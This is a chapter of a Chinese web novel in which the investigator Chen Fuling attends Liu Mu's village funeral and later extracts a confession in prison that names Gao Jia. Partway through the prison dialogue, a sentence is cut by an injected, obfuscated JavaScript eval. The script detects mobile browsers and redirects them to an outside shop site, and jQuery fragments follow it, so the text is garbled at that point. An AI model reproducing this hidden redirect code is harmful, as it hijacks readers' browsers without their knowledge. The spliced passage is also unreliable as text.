胥离，大石村。


    陈茯苓几经周折，终于来到了刘牧文书上的故乡，也是周吏的故乡。一个远离京城的，略显闭塞的北方村落。黄土路，矮泥墙，村中没有多少牲口，因此显得格外荒凉。


    她以刘牧同僚的名义，很快打听到了他的住址，却愣住了。


    刘家院中挂着白幡，坐满了不少人，披麻戴孝，一个头发花白，身形佝偻的妇人正坐在矮凳上，烧着黄纸。


    有人呜呜哭着。


    见她来时，老妇颤颤巍巍起来，眼神茫然：“贵人，您、您是？”


    陈茯苓说明来意后，老妇起初有些不知所措，待听清是儿子京城里的同僚之后，枯瘦的手立刻抓住了陈茯苓的额手腕。


    力道大得有些吓人。


    她浑浊的眼睛流下了几行泪：“好啊，好啊，这么多天，您是第一个从京里来看他的......”


    老妇絮叨地说着感谢陈茯苓的客套话，又反复询问京城是否冷，刘牧生前在京城过得如何。


    陈茯苓硬着头皮含糊答了，准备话的问题在嘴边滚了几圈也没问出口。


    “快，快请进，”老妇抹了把眼泪，拉着陈茯苓的手让她往里让，脚步蹒跚。


    正在不知何时是好时，院门外传来脚步声，来人见到陈茯苓，二人俱是一愣。


    不是他人，正是因公出差的马文才。


    “你怎会在此？”马文才脱口而出。


    老妇见了他俩，愈发茫然。


    马文才做了个口型“待会儿再说。”


    二人一同进了屋，屋内十分逼仄，无半分炭火，寒气从泥地透上来，俩人站了小半会儿就冻得双手发凉。


    二人垂眸望着冰冷的泥地，相顾无言。直到院外唢呐声起，原来今日是刘牧出殡的日子。


    周吏案审结后，刘牧的尸身才从大理寺抬回故乡，竟是马文才亲自护送归来，这份用心，着实难得。


    葬礼并未大操大办，送行，唢呐声呜呜咽咽，在空旷的村落里荡开。


    落葬之后，按当地习俗，主家需请帮忙的乡邻吃一顿豆腐饭。


    刘家无男丁，唯剩寡母一人，乡邻们都暗自担忧她会寻短见，好在老妇虽悲痛，神智尚清，还执意招呼陈茯苓与马文才入席。


    席面就摆在刘家院外的空地上，几张矮桌拼在一起，摆着几样简单的素菜。


    席间，坐在陈茯苓旁边的汉子凑过来笑道：“贵人们，没见过我们这腌臜小地的戏吧，待会您可以瞧个乐子。”


    陈茯苓还没明白过来，一个三四人的小戏班就在空地上咿咿呀呀的唱了起来。


    演的是一出当地流传的旧戏，带着他们当地的方言口音，陈茯苓和马文才二人连蒙带猜，加之旁边的汉子不断给他们讲解，他们才一知半解。


    戏名为《张二狗打狗反被狗咬》。


    故事不复杂，讲的是一个为富不仁的地主，冤枉家中老实的长工偷了传家宝，不由分说动用私刑，将长工活活打死。后来真相大白，原来是地主自家少爷拿去典当换了赌资，但长工已枉死，赔了点钱财便不了了之。


    这出戏简直如同儿戏，就几个长工模样的人，好似邻家唠嗑一般，甚至这几人都是从席间走出去的，抹了把嘴就开唱了。


    扮演地主的那人也只是戴了顶瓜皮帽，以示区分。


    但席间众人大多看得津津有味，马文才坐在稍远的位置，慢慢喝茶，眉峰微蹙。


    而刘母则是呆呆地望着他们，嘴唇翕动，喃喃自语：“我的牧儿，也是老实巴交的，在京城，怕不是也被人当成长工给冤了去。”


    她掉了几滴泪，众人见状纷纷上前安慰她，老妇接着道：“他上次捎信回来，还高兴地说，跟了个好上司，很赏识他，说他有福了，谁知道，福没享到，命却没了……”


    陈茯苓思绪一转，忽而就抓住了关键线索。于是低声询问了刘母一些事情，刘母也一一回答。


    她点了点头，若有所思。


    ——————


    几日后，刑部大牢。


    “你知道是谁害死了周吏？”


    陈茯苓垂眼看着坐在地上的赵振。


    “不知。大人何必费这劲？我本也是将死之人，”他无所谓地看着陈茯苓架在他脖子上的刀，道：你现在杀了我，还能助我早日解脱，该说的我已经都说了，你还要问些什么？”


    “他的死跟我没关系吧，如果他当时不为了那点银子，怎么会死呢？不过也是跟我一般俗人罢了。”赵振冷嗤。


    陈茯苓攥紧刀柄：“你可知他为何要那银子？”


    她俯身逼近：“你对你的同乡们是不是从来也不关心，当真以为抓住了周吏的弱点，殊不知，他只是因为刘牧的老母病重才答应了你，那时刘牧的老母摔成重伤，急需银钱，却不敢告诉刘牧，担心影响他科考，家中遗嘱都已立好。”


    “你知道周吏又是怎么知道的吗？因为无论寒暑假期，他都会写信返乡，寄些京里的吃食回去。”


    这是陈茯苓在刘牧家中发现的，不是什么贵重的东西，而周吏父母早已双亡，他便会替京中同乡的同学代写一些趣事，寄回去，村里人自会自行分食。


    是刘母拉着她的手絮絮叨叨说了许多刘牧生前的琐事，从他幼时读书的勤勉，到入京后寄回的每一封家书。


    那些被忽略的细节，渐渐串联成完整的故事。


    赵振愣了愣，笑了笑：“冠冕堂皇，惺惺作态罢了。”


    陈茯苓叹道：“你永远比不上他。”


    赵振用力抓着栏杆狠狠道：“你凭什么这样说！我一步一步，从最底下爬上来，见过多少人的白眼，才有现在的一切，被他一句轻飘飘的做事不认真全否定了，他配吗？”


    陈茯苓失望的摇摇头，从怀中掏出一本册子。


    “你以为他嘲笑你读书不如他，说你文章金玉其外，他分明自己都舍不得用一点贵的笔墨，却用自己省吃俭用的银钱，托人寻来前朝宰相的孤本文章，抄录成册送你，愿你踏实做文章。”


    “前些日子才送到你的住所，我才得了通知拿来给你。”


    赵振张了张嘴，愣住：“怎、


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16803053|180837||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    怎么会。这跟我有何关系，我不相信，一定是你骗我的。”


    他突然又想起什么似的来，急急道：“他就是个懦夫，就因为手指骨头断裂而自杀。”


    陈茯苓无奈喝道：“你还要自欺欺人到什么地步。”


    “那也不是我害死他的。”


    “那是谁害死的！”


    “不，不是我。”他似乎想起什么来，指着陈茯苓道：“是你，是你害死了他。”


    陈茯苓抬头“我？”


    “对，就是你，是你命令手下将他的指骨都打断，让他从此失去希望，身体残缺者不得科举，所以他才自杀的。”


    “你怎么会知道是我用的刑。”


    赵振突然沉默了。


    “那你想过吗？”陈茯苓道：“一个就算没书读，宁愿去杀猪的人，怎么会因为此而自戕？”


    “你可知他父母是如何死的吗？”


    赵振：“......”


    “他父母当年便是含冤莫白，吞石而亡。周吏平生最恨冤枉好人，却因一时糊涂，受你挑唆以舆论冤枉他人，这份愧疚，让他无法原谅自己。即便不能科举，他本可另寻出路为民做事。”


    “他只是过不去心里那道坎。”


    这是刘家村十年前的案子，陈茯苓印象中见过，因此在听了那场戏后，立刻去翻阅了周吏的档案，推翻了之前的猜测。


    周吏此人濯濯君子，心性坚定，嫉恶如仇，但也注定了他过刚易折的一生。


    “你以为他一直被你玩弄于鼓掌，可要知道他即使做错了，也能为自己的选择负责，而你却永远只会逃避和欺骗自己。”


    赵振呆愣半晌，手中抓着：“不可能，不可能，都是你骗我的。”


    陈茯苓摇了摇头，收回了手中的剑。


    赵振颤抖着手，抓着门栏滑了下去，屋中寂静良久，赵振才开口，声音沙哑：


    “是左礼部高佳。”


    陈茯苓：“你先前不是说不知是谁联系你？”


    “我也要给自己留下一份保命的东西，”他垂着脑袋，“见他虽行事谨慎，却总在一家药材铺停留。我便日日蹲守，终于见他与铺中伙计交接，便用银子买通了小二，才知他是高府家奴。”


    陈茯苓皱眉：“高佳？他为何要做此事？”


    “谁知道呢？为名，为利，哪种都可能。”赵振耸了耸肩道。


    陈茯苓点点头：“你愿出庭作证吗？”


    赵振低垂着脑袋，点了点头：“一开始就是高佳设计的，让我们一步一步这样做，从一开始的接近周吏，就是有意为之。”


    “而扬子逸的那篇文章确实是抄袭的，只不过不是抄的周吏的文章，而是一篇无名之作，而周吏‘恰巧’看过，因此强大的既视感让周吏心生疑虑，再一步步掉进我们的陷阱。”


    陈茯苓：“......”


    牢门外忽然传来急促的脚步声，伴随着兵器碰撞的脆响。


    “是谁？！”


    刑部的官兵发现她闯狱了。陈茯苓立刻将脸面罩拉起来挡住面容。